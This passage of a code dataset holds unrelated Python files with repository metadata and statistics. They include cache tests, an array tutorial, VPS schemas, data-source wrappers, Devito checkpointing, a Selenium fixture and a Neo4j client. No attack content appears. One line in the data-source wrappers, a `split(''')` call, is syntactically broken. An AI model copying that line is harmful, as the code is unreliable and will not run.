cache = MemcachedModelCache(("127.0.0.1", "-1"))
assert cache.retrieve(key, lambda: {"a": 1234}, should_cache=sc) == {"a": 1234}
# Ensure not cached since it was `1234`.
assert cache._get_client().get(key.key) is None
# Ensure cached.
assert cache.retrieve(key, lambda: {"a": 2345}, should_cache=sc) == {"a": 2345}
assert cache._get_client().get(key.key) is not None
assert cache.retrieve(key, lambda: {"a": 2345}, should_cache=sc) == {"a": 2345}
| 32.545455
| 89
| 0.634078
| 231
| 1,790
| 4.82684
| 0.272727
| 0.049327
| 0.119283
| 0.138117
| 0.463677
| 0.463677
| 0.463677
| 0.463677
| 0.408072
| 0.408072
| 0
| 0.057383
| 0.201676
| 1,790
| 54
| 90
| 33.148148
| 0.722883
| 0.058101
| 0
| 0.352941
| 0
| 0
| 0.06302
| 0.026159
| 0
| 0
| 0
| 0
| 0.264706
| 1
| 0.205882
| false
| 0
| 0.117647
| 0.058824
| 0.411765
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
9136160d5624a0c97151f5a92ef4449fe0be2b28
| 1,951
|
py
|
Python
|
ArraysP2.py
|
EdgarVallejo96/pyEdureka
|
f103f67ed4f9eee6ab924237e9d94a489e602c7c
|
[
"MIT"
] | null | null | null |
ArraysP2.py
|
EdgarVallejo96/pyEdureka
|
f103f67ed4f9eee6ab924237e9d94a489e602c7c
|
[
"MIT"
] | null | null | null |
ArraysP2.py
|
EdgarVallejo96/pyEdureka
|
f103f67ed4f9eee6ab924237e9d94a489e602c7c
|
[
"MIT"
] | null | null | null |
import array as arr
a = arr.array('i', [ 1,2,3,4,5,6])
print(a)
# Accessing elements
print(a[2])
print(a[-2])
# BASIC ARRAY OPERATIONS
# Find length of array
print()
print('Length of array')
print(len(a))
# Adding elments to an array
# append() to add a single element at the end of an array
# extend() to add more than one element at the end of an array
# insert() to add an element at a specific position in an array
print()
# append
print('Append')
a.append(8)
print(a)
# extend
print()
print('Extend')
a.extend([9,8,6,5,4])
print(a)
# insert
print()
print('Insert')
a.insert(2,6) # first param is the index, second param is the value
print(a)
# Removing elements from an array
# pop() Remove an element and return it
# remove() Remove element with a specific value without returning it
print()
print(a)
# pop
print('pop')
print(a.pop()) # removes last element
print(a)
print(a.pop(2))
print(a)
print(a.pop(-1))
print(a)
# remove
print()
print('remove')
print(a.remove(8)) # doesn't return what it removes, it removed the first occurrence of '8'
print(a)
# Array Concatenation
print()
print('Array Concatenation')
b = arr.array('i', [1,2,3,4,5,6,7])
c = arr.array('i', [3,4,2,1,3,5,6,7,8])
d = arr.array('i')
d = b + c
print(d)
# Slicing an Array
print()
print('Slicing an Array') # This means fetching some particular values from an array
print(d)
print(d[0:5]) # Doesn't include the value on the right index
print(d[0:-2])
print(d[::-1]) # Reverse the array, this method is not preferred because it exauhsts the memory
# Looping through an Array
print()
print('Looping through an Array')
print('Using for')
for x in d:
print(x, end=' ')
print()
for x in d[0:-3]:
print(x, end=' ')
print()
print('Using while')
temp = 0
while temp < d[2]:
print(d[temp], end = ' ')
temp = temp + 1 # Can use temp+=1, it's the same thing
print()
print(a)
tem = 0
while tem < len(a):
print(a[tem], end=' ')
tem += 1
print()
| 18.759615
| 95
| 0.664787
| 357
| 1,951
| 3.633053
| 0.282913
| 0.078643
| 0.046261
| 0.01542
| 0.123362
| 0.060139
| 0.060139
| 0.02313
| 0.02313
| 0
| 0
| 0.030492
| 0.17632
| 1,951
| 103
| 96
| 18.941748
| 0.776602
| 0.441312
| 0
| 0.402985
| 0
| 0
| 0.121583
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.014925
| 0
| 0.014925
| 0.746269
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
913e527c83f21ed4118adbad50f5935916d3a9fa
| 2,221
|
py
|
Python
|
src/backend/schemas/vps.py
|
ddddhm1/LuWu
|
f9feaf10a6aca0dd31f250741a1c542ee5256633
|
[
"Apache-2.0"
] | 658
|
2019-04-29T02:46:02.000Z
|
2022-03-30T03:58:42.000Z
|
src/backend/schemas/vps.py
|
ddddhm1/LuWu
|
f9feaf10a6aca0dd31f250741a1c542ee5256633
|
[
"Apache-2.0"
] | 9
|
2020-06-04T13:38:58.000Z
|
2022-02-27T21:23:29.000Z
|
src/backend/schemas/vps.py
|
ddddhm1/LuWu
|
f9feaf10a6aca0dd31f250741a1c542ee5256633
|
[
"Apache-2.0"
] | 130
|
2019-05-02T23:42:58.000Z
|
2022-03-24T04:35:37.000Z
|
from typing import List
from typing import Optional
from typing import Union
from models.vps import VpsStatus
from schemas.base import APIModel
from schemas.base import BasePagination
from schemas.base import BaseSchema
from schemas.base import BaseSuccessfulResponseModel
class VpsSshKeySchema(APIModel):
name: str
public_key: str = None
private_key: str = None
isp_id: int
ssh_key_id: Optional[str]
date_created: Optional[str]
fingerprint: Optional[str]
class VpsSpecPlanSchema(APIModel):
name: str
plan_code: Union[str, int]
region_codes: List = None
bandwidth: float
ram: int
vcpu: int
disk: int
price_monthly: Union[float, int, str] = None
price_hourly: Union[float, int, str] = None
price_yearly: Union[float, int, str] = None
class VpsSpecRegionSchema(APIModel):
name: str
region_code: Union[str, int]
features: List[str] = None
plan_codes: List[Union[str, int]] = []
class VpsSpecOsSchema(APIModel):
name: str
os_code: Union[str, int]
region_codes: List[Union[str, int]] = []
plan_codes: List[Union[str, int]] = []
class VpsSpecSchema(APIModel):
region: List[VpsSpecRegionSchema] = []
plan: List[VpsSpecPlanSchema] = []
os: List[VpsSpecOsSchema] = []
class VpsSpecResponse(BaseSuccessfulResponseModel):
result: VpsSpecSchema
class VpsCreateSchema(APIModel):
hostname: str
isp_id: int
region_code: str
os_code: str
plan_code: str
ssh_keys: List[str] = []
status: int = VpsStatus.init
remark: str = None
class VpsItemSchema(BaseSchema):
isp_id: int
ip: Union[int, str, None]
server_id: Optional[str]
hostname: str
os: Optional[str]
plan: Optional[str]
region: Optional[str]
status: int
status_name: str
status_msg: Optional[str]
isp_provider_name: str
class VpsItemResponse(BaseSuccessfulResponseModel):
result: VpsItemSchema
class VpsPaginationSchema(BasePagination):
items: Optional[List[VpsItemSchema]]
class VpsPaginationResponse(BaseSuccessfulResponseModel):
result: VpsPaginationSchema
class VpsSshKeyResponseSchema(BaseSuccessfulResponseModel):
result: List[VpsSshKeySchema]
| 22.663265
| 59
| 0.714093
| 257
| 2,221
| 6.066148
| 0.2607
| 0.03592
| 0.042335
| 0.053881
| 0.127646
| 0.107761
| 0.07569
| 0
| 0
| 0
| 0
| 0
| 0.197659
| 2,221
| 97
| 60
| 22.896907
| 0.87486
| 0
| 0
| 0.152778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.111111
| 0
| 1
| 0.013889
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
913effe79b3a41e71c6774354a20673cc5bf2cf7
| 672
|
py
|
Python
|
main.py
|
hari-sh/sigplot
|
cd2359d7c868e35ed1d976d7eb8ac35d2dcc7e81
|
[
"MIT"
] | null | null | null |
main.py
|
hari-sh/sigplot
|
cd2359d7c868e35ed1d976d7eb8ac35d2dcc7e81
|
[
"MIT"
] | null | null | null |
main.py
|
hari-sh/sigplot
|
cd2359d7c868e35ed1d976d7eb8ac35d2dcc7e81
|
[
"MIT"
] | null | null | null |
import sigplot as sp
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
matplotlib.rcParams['toolbar'] = 'None'
plt.style.use('dark_background')
fig = plt.figure()
# seed = np.linspace(3, 7, 1000)
# a = (np.sin(2 * np.pi * seed))
# b = (np.cos(2 * np.pi * seed))
# sp.correlate(fig, b, a, 300)
t = np.linspace(0, 1, 500)
b = (np.cos(2 * np.pi * t))
# x = np.concatenate([np.zeros(500), signal.sawtooth(2 * np.pi * 5 * t), np.zeros(500), np.ones(120), np.zeros(500)])
x = np.concatenate([np.zeros(500), np.ones(500), np.zeros(500)])
sp.fourier_series(fig, x, 100, 200, 200)
plt.show()
# WriteToVideo("twoPulse.mp4", anim);
| 25.846154
| 118
| 0.623512
| 114
| 672
| 3.657895
| 0.45614
| 0.083933
| 0.119904
| 0.043165
| 0.220624
| 0.167866
| 0
| 0
| 0
| 0
| 0
| 0.09058
| 0.178571
| 672
| 25
| 119
| 26.88
| 0.664855
| 0.40625
| 0
| 0
| 0
| 0
| 0.070845
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
9143b8c633adb2c76477406a889fd2a426c5cda8
| 278
|
py
|
Python
|
gigamonkeys/get.py
|
gigamonkey/sheets
|
a89e76360ad9a35e44e5e352346eeccbe6952b1f
|
[
"BSD-3-Clause"
] | null | null | null |
gigamonkeys/get.py
|
gigamonkey/sheets
|
a89e76360ad9a35e44e5e352346eeccbe6952b1f
|
[
"BSD-3-Clause"
] | 1
|
2021-04-03T23:07:35.000Z
|
2021-04-03T23:07:35.000Z
|
gigamonkeys/get.py
|
gigamonkey/sheets
|
a89e76360ad9a35e44e5e352346eeccbe6952b1f
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python
import json
import sys
from gigamonkeys.spreadsheets import spreadsheets
spreadsheet_id = sys.argv[1]
ranges = sys.argv[2:]
data = spreadsheets().get(spreadsheet_id, include_grid_data=bool(ranges), ranges=ranges)
json.dump(data, sys.stdout, indent=2)
| 19.857143
| 88
| 0.773381
| 41
| 278
| 5.146341
| 0.585366
| 0.123223
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012048
| 0.104317
| 278
| 13
| 89
| 21.384615
| 0.835341
| 0.071942
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.428571
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
9146c7949d8b05d057e0f629fb324a047f0358c0
| 6,145
|
py
|
Python
|
sources/wrappers.py
|
X-rayLaser/keras-auto-hwr
|
67cfc0209045b1e211f0491b0199cb9d6811bfd0
|
[
"MIT"
] | null | null | null |
sources/wrappers.py
|
X-rayLaser/keras-auto-hwr
|
67cfc0209045b1e211f0491b0199cb9d6811bfd0
|
[
"MIT"
] | 2
|
2020-01-04T09:03:31.000Z
|
2021-05-10T18:29:41.000Z
|
sources/wrappers.py
|
X-rayLaser/keras-auto-hwr
|
67cfc0209045b1e211f0491b0199cb9d6811bfd0
|
[
"MIT"
] | null | null | null |
import numpy as np
from sources import BaseSource
from sources.base import BaseSourceWrapper
from sources.preloaded import PreLoadedSource
import json
class WordsSource(BaseSource):
def __init__(self, source):
self._source = source
def __len__(self):
return len(self._source)
def _remove_apostrpohs(self, seq):
res = ''.join(seq.split('''))
res = ''.join(res.split('"'))
return res
def _clean(self, seq):
s = ''
for ch in seq.strip():
if ch.isalpha():
s += ch
return s
def get_sequences(self):
for seq_in, transcription in self._source.get_sequences():
transcription = self._remove_apostrpohs(transcription)
words = [self._clean(word) for word in transcription.split(' ')]
yield seq_in, words
class LabelSource(BaseSource):
def __init__(self, source, mapping_table):
self._source = source
self._mapping_table = mapping_table
def __len__(self):
return len(self._source)
def get_sequences(self):
for seq_in, seq_out in self._source.get_sequences():
label_seq = [self._mapping_table.encode(ch) for ch in seq_out]
yield seq_in, label_seq
class CTCAdaptedSource(BaseSource):
def __init__(self, source, padding_value=0):
self._source = source
self._padding = padding_value
def __len__(self):
return len(self._source)
def get_sequences(self):
for seq_in, seq_out in self._source.get_sequences():
seqs_in_pad = list(seq_in)
while len(seqs_in_pad) <= 2 * len(seq_out) + 1:
n = len(seqs_in_pad[0])
seqs_in_pad.append([self._padding] * n)
yield seqs_in_pad, seq_out
class Normalizer:
def __init__(self):
self._mu = None
self._sd = None
@staticmethod
def from_json(path):
with open(path, 'r') as f:
s = f.read()
d = json.loads(s)
normalizer = Normalizer()
mu = np.array(d['mu'])
sd = np.array(d['sd'])
normalizer.set_mean(mu)
normalizer.set_deviation(sd)
return normalizer
def to_json(self, path):
d = {
'mu': np.array(self.mu).tolist(),
'sd': np.array(self.sd).tolist()
}
with open(path, 'w') as f:
f.write(json.dumps(d))
def set_mean(self, mu):
self._mu = mu
def set_deviation(self, sd):
self._sd = sd
@property
def mu(self):
return self._mu
@property
def sd(self):
return self._sd
def fit(self, X):
sequence = []
for x in X:
sequence.extend(x)
self._mu = np.mean(sequence, axis=0)
self._sd = np.std(sequence, axis=0)
def preprocess(self, X):
res = []
for x in X:
x_norm = (x - self._mu) / self._sd
# we do not want to normalize END-OF-STROKE flag which is last in the tuple
x_norm[:, -1] = np.array(x)[:, -1]
res.append(x_norm.tolist())
return res
class OffsetPointsSource(BaseSource):
def __init__(self, source):
self._source = source
def __len__(self):
return len(self._source)
def get_sequences(self):
for strokes, transcription in self._source.get_sequences():
x0, y0, t0 = strokes[0].points[0]
new_seq = []
for stroke in strokes:
points = []
for x, y, t in stroke.points:
points.append((x - x0, y - y0, t - t0, 0))
points[-1] = points[-1][:-1] + (1,)
new_seq.extend(points)
yield new_seq, transcription
class NormalizedSource(BaseSource):
def __init__(self, source, normalizer):
self._source = source
self._normalizer = normalizer
def __len__(self):
return len(self._source)
def get_sequences(self):
for points, transcription in self._source.get_sequences():
norm = self._normalizer.preprocess([points])[0]
yield norm, transcription
class DenormalizedSource(BaseSource):
def __init__(self, source, normalizer):
self._source = source
self._normalizer = normalizer
def __len__(self):
return len(self._source)
def get_sequences(self):
mu = self._normalizer.mu
sd = self._normalizer.sd
for points, transcription in self._source.get_sequences():
denormalized = [(p * sd + mu).tolist() for p in points]
for i, p in enumerate(denormalized):
p[3] = points[i][3]
yield denormalized, transcription
class H5pySource(BaseSource):
def __init__(self, h5py_ds, random_order=True):
self._h5py = h5py_ds
self._random = random_order
def __len__(self):
return len(self._h5py)
def get_sequences(self):
return self._h5py.get_data(random_order=self._random)
class PreprocessedSource(BaseSourceWrapper):
def __init__(self, source, preprocessor):
super().__init__(source)
self._preprocessor = preprocessor
def get_sequences(self):
for xs, ys in self._source.get_sequences():
yield self._preprocessor.pre_process_example(xs, ys)
class ConstrainedSource(BaseSourceWrapper):
def __init__(self, source, num_lines):
super().__init__(source)
self._num_lines = num_lines
self._use_all = (num_lines == 0)
def get_sequences(self):
for j, (seq_in, seq_out) in enumerate(self._source.get_sequences()):
#print(j, seq_out)
if j % 500 == 0:
print('Fetched {} examples'.format(j))
if j >= self._num_lines and not self._use_all:
break
yield seq_in, seq_out
class PlainListSource(BaseSourceWrapper):
def get_sequences(self):
for strokes, t in self._source.get_sequences():
points = [stroke.points for stroke in strokes]
yield points, t
| 26.038136
| 87
| 0.588771
| 757
| 6,145
| 4.498018
| 0.198151
| 0.085169
| 0.032305
| 0.0558
| 0.314244
| 0.247577
| 0.208517
| 0.200587
| 0.174449
| 0.174449
| 0
| 0.008201
| 0.305452
| 6,145
| 235
| 88
| 26.148936
| 0.789597
| 0.014646
| 0
| 0.284848
| 0
| 0
| 0.00694
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.224242
| false
| 0
| 0.030303
| 0.060606
| 0.406061
| 0.006061
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
914899652debcd6bf278b6bcd59488d3ca01a934
| 349
|
py
|
Python
|
lang_detect_gears.py
|
AlexMikhalev/cord19redisknowledgegraph
|
a143415aca8d4a6db820dc7a25280045f421a665
|
[
"Apache-2.0"
] | 7
|
2020-05-18T09:25:17.000Z
|
2021-08-05T00:23:36.000Z
|
lang_detect_gears.py
|
maraqa1/CORD-19
|
a473f7b60b8dfa476ea46505678481e4b361d04e
|
[
"Apache-2.0"
] | 10
|
2020-05-31T14:44:26.000Z
|
2022-03-25T19:17:37.000Z
|
lang_detect_gears.py
|
maraqa1/CORD-19
|
a473f7b60b8dfa476ea46505678481e4b361d04e
|
[
"Apache-2.0"
] | null | null | null |
from langdetect import detect
def detect_language(x):
#detect language of the article
try:
lang=detect(x['value'])
except:
lang="empty"
execute('SET', 'lang_article:' + x['key'], lang)
if lang!='en':
execute('SADD','titles_to_delete', x['key'])
gb = GB()
gb.foreach(detect_language)
gb.run('title:*')
| 23.266667
| 52
| 0.60745
| 47
| 349
| 4.404255
| 0.595745
| 0.202899
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.22063
| 349
| 15
| 53
| 23.266667
| 0.761029
| 0.08596
| 0
| 0
| 0
| 0
| 0.191223
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.083333
| false
| 0
| 0.083333
| 0
| 0.166667
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
914cca42f7c78c12fb45153e185381ce97dc5240
| 5,200
|
py
|
Python
|
seismic/checkpointing/checkpoint.py
|
slimgroup/Devito-Examples
|
449e1286a18ebc4172069372ba2bf3cd2ec99a2f
|
[
"MIT"
] | 7
|
2020-08-19T18:23:08.000Z
|
2022-02-18T19:19:24.000Z
|
seismic/checkpointing/checkpoint.py
|
slimgroup/Devito-Examples
|
449e1286a18ebc4172069372ba2bf3cd2ec99a2f
|
[
"MIT"
] | null | null | null |
seismic/checkpointing/checkpoint.py
|
slimgroup/Devito-Examples
|
449e1286a18ebc4172069372ba2bf3cd2ec99a2f
|
[
"MIT"
] | 3
|
2020-12-01T22:17:09.000Z
|
2021-05-21T11:29:07.000Z
|
# The MIT License (MIT)
#
# Copyright (c) 2016, Imperial College, London
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in the
# Software without restriction, including without limitation the rights to use, copy,
# modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
# FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
from pyrevolve import Checkpoint, Operator
from devito import TimeFunction
from devito.tools import flatten
class CheckpointOperator(Operator):
"""Devito's concrete implementation of the ABC pyrevolve.Operator. This class wraps
devito.Operator so it conforms to the pyRevolve API. pyRevolve will call apply
with arguments t_start and t_end. Devito calls these arguments t_s and t_e so
the following dict is used to perform the translations between different names.
Parameters
----------
op : Operator
devito.Operator object that this object will wrap.
args : dict
If devito.Operator.apply() expects any arguments, they can be provided
here to be cached. Any calls to CheckpointOperator.apply() will
automatically include these cached arguments in the call to the
underlying devito.Operator.apply().
"""
t_arg_names = {'t_start': 'time_m', 't_end': 'time_M'}
def __init__(self, op, **kwargs):
self.op = op
self.args = kwargs
op_default_args = self.op._prepare_arguments(**kwargs)
self.start_offset = op_default_args[self.t_arg_names['t_start']]
def _prepare_args(self, t_start, t_end):
args = self.args.copy()
args[self.t_arg_names['t_start']] = t_start + self.start_offset
args[self.t_arg_names['t_end']] = t_end - 1 + self.start_offset
return args
def apply(self, t_start, t_end):
""" If the devito operator requires some extra arguments in the call to apply
they can be stored in the args property of this object so pyRevolve calls
pyRevolve.Operator.apply() without caring about these extra arguments while
this method passes them on correctly to devito.Operator
"""
# Build the arguments list to invoke the kernel function
args = self.op.arguments(**self._prepare_args(t_start, t_end))
# Invoke kernel function with args
arg_values = [args[p.name] for p in self.op.parameters]
self.op.cfunction(*arg_values)
class DevitoCheckpoint(Checkpoint):
"""Devito's concrete implementation of the Checkpoint abstract base class provided by
pyRevolve. Holds a list of symbol objects that hold data.
"""
def __init__(self, objects):
"""Intialise a checkpoint object. Upon initialisation, a checkpoint
stores only a reference to the objects that are passed into it."""
assert(all(isinstance(o, TimeFunction) for o in objects))
dtypes = set([o.dtype for o in objects])
assert(len(dtypes) == 1)
self._dtype = dtypes.pop()
self.objects = objects
@property
def dtype(self):
return self._dtype
def get_data(self, timestep):
data = flatten([get_symbol_data(s, timestep) for s in self.objects])
return data
def get_data_location(self, timestep):
return self.get_data(timestep)
@property
def size(self):
"""The memory consumption of the data contained in a checkpoint."""
return sum([int((o.size_allocated/(o.time_order+1))*o.time_order)
for o in self.objects])
def save(*args):
raise RuntimeError("Invalid method called. Did you check your version" +
" of pyrevolve?")
def load(*args):
raise RuntimeError("Invalid method called. Did you check your version" +
" of pyrevolve?")
def get_symbol_data(symbol, timestep):
timestep += symbol.time_order - 1
ptrs = []
for i in range(symbol.time_order):
# Use `._data`, instead of `.data`, as `.data` is a view of the DOMAIN
# data region which is non-contiguous in memory. The performance hit from
# dealing with non-contiguous memory is so big (introduces >1 copy), it's
# better to checkpoint unneccesarry stuff to get a contiguous chunk of memory.
ptr = symbol._data[timestep - i, :, :]
ptrs.append(ptr)
return ptrs
| 44.067797
| 129
| 0.68
| 722
| 5,200
| 4.804709
| 0.347645
| 0.025368
| 0.010378
| 0.011531
| 0.105794
| 0.081868
| 0.057077
| 0.043817
| 0.043817
| 0.043817
| 0
| 0.002288
| 0.243462
| 5,200
| 117
| 130
| 44.444444
| 0.879512
| 0.533269
| 0
| 0.117647
| 0
| 0
| 0.076023
| 0
| 0
| 0
| 0
| 0
| 0.039216
| 1
| 0.215686
| false
| 0
| 0.058824
| 0.039216
| 0.45098
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
914dad243b4f6fd43e52b214d9db3b5771ad2444
| 623
|
py
|
Python
|
Perforce/AppUtils.py
|
TomMinor/MayaPerforce
|
52182c7e5c3e91e41973d0c2abbda8880e809e49
|
[
"MIT"
] | 13
|
2017-03-31T21:52:19.000Z
|
2021-09-06T23:15:30.000Z
|
Perforce/AppUtils.py
|
TomMinor/MayaPerforce
|
52182c7e5c3e91e41973d0c2abbda8880e809e49
|
[
"MIT"
] | 3
|
2017-05-08T02:27:43.000Z
|
2017-05-10T03:20:11.000Z
|
Perforce/AppUtils.py
|
TomMinor/MayaPerforce
|
52182c7e5c3e91e41973d0c2abbda8880e809e49
|
[
"MIT"
] | 3
|
2017-05-05T14:03:03.000Z
|
2020-05-25T10:25:04.000Z
|
import os
import sys
import re
import logging
p4_logger = logging.getLogger("Perforce")
# Import app specific utilities, maya opens scenes differently than nuke etc
# Are we in maya or nuke?
if re.match( "maya", os.path.basename( sys.executable ), re.I ):
p4_logger.info("Configuring for Maya")
from MayaUtils import *
elif re.match( "nuke", os.path.basename( sys.executable ), re.I ):
p4_logger.info("Configuring for Nuke")
from NukeUtils import *
else:
p4_logger.warning("Couldn't find app configuration")
raise ImportError("No supported applications found that this plugin can interface with")
| 32.789474
| 90
| 0.738363
| 91
| 623
| 5.010989
| 0.593407
| 0.070175
| 0.061404
| 0.074561
| 0.245614
| 0.245614
| 0.245614
| 0.245614
| 0.245614
| 0.245614
| 0
| 0.007678
| 0.163724
| 623
| 18
| 91
| 34.611111
| 0.867562
| 0.157303
| 0
| 0
| 0
| 0
| 0.305556
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e66dd75ae0bf7e3d43a0a0b5833ef2c98e86a332
| 581
|
py
|
Python
|
tests/conftest.py
|
artembashlak/share-youtube-to-mail
|
347f72ed8846b85cae8e4f39896ab54e698a6de9
|
[
"Apache-2.0"
] | null | null | null |
tests/conftest.py
|
artembashlak/share-youtube-to-mail
|
347f72ed8846b85cae8e4f39896ab54e698a6de9
|
[
"Apache-2.0"
] | null | null | null |
tests/conftest.py
|
artembashlak/share-youtube-to-mail
|
347f72ed8846b85cae8e4f39896ab54e698a6de9
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
@pytest.fixture(scope="function")
def browser():
options = webdriver.ChromeOptions()
options.add_argument('ignore-certificate-errors')
options.add_argument("--headless")
options.add_argument('--no-sandbox')
options.add_argument('start-maximized')
options.add_argument('disable-infobars')
options.add_argument("--disable-extensions")
driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)
yield driver
driver.quit()
| 30.578947
| 79
| 0.753873
| 62
| 581
| 6.951613
| 0.516129
| 0.139211
| 0.25058
| 0.116009
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.123924
| 581
| 18
| 80
| 32.277778
| 0.846758
| 0
| 0
| 0
| 0
| 0
| 0.182444
| 0.043029
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0
| 0.2
| 0
| 0.266667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e66e53547faa705c9a68f28dba07b4048f2f1b31
| 2,335
|
py
|
Python
|
crusoe_observe/neo4j-client/neo4jclient/CMSClient.py
|
CSIRT-MU/CRUSOE
|
73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b
|
[
"MIT"
] | 3
|
2021-11-09T09:55:17.000Z
|
2022-02-19T02:58:27.000Z
|
crusoe_observe/neo4j-client/neo4jclient/CMSClient.py
|
CSIRT-MU/CRUSOE
|
73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b
|
[
"MIT"
] | null | null | null |
crusoe_observe/neo4j-client/neo4jclient/CMSClient.py
|
CSIRT-MU/CRUSOE
|
73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b
|
[
"MIT"
] | null | null | null |
from neo4jclient.AbsClient import AbstractClient
class CMSClient(AbstractClient):
def __init__(self, password, **kwargs):
super().__init__(password=password, **kwargs)
def get_domain_names(self):
"""
Gets all domain names from database.
:return: domain names in JSON-like form
"""
return self._run_query("MATCH(n:DomainName) RETURN n.domain_name AS domains")
def get_ips_and_domain_names(self):
"""
Gets all domain names with corresponding IPs from database.
:return: IPs and DomainNames in JSON-like form
"""
return self._run_query("MATCH(n:IP)-[:RESOLVES_TO]-(y:DomainName {tag: \'A/AAAA\'}) "
"RETURN { IP: n.address , Domain: y.domain_name } AS entry")
def create_cms_component(self, path):
"""
Create nodes and relationships for cms client.
-------------
Antivirus_query:
1. Parse csv given in path.
2. Create node of type [:SoftwareVersion, :IP] if not already exists.
3. Create node of type [:Host], relationship of type [:ON] with parameters [start,end] if not already exists.
Otherwise just update information about time on parameters [start,end].
4. Create node of type [:Node], relationship of type [:HAS_ASSIGNED].
5. Create relationship of type [:IS_A] between :Host and :Node if not already exists.
:param path: Path to the JSON with values
:return:
"""
path = f'file:///{path}'
query = "CALL apoc.load.json($path) " \
"YIELD value " \
"UNWIND value.data AS data " \
"UNWIND data.cpe as cpe " \
"WITH data.ip as ip_ad, cpe, value.time as theTime " \
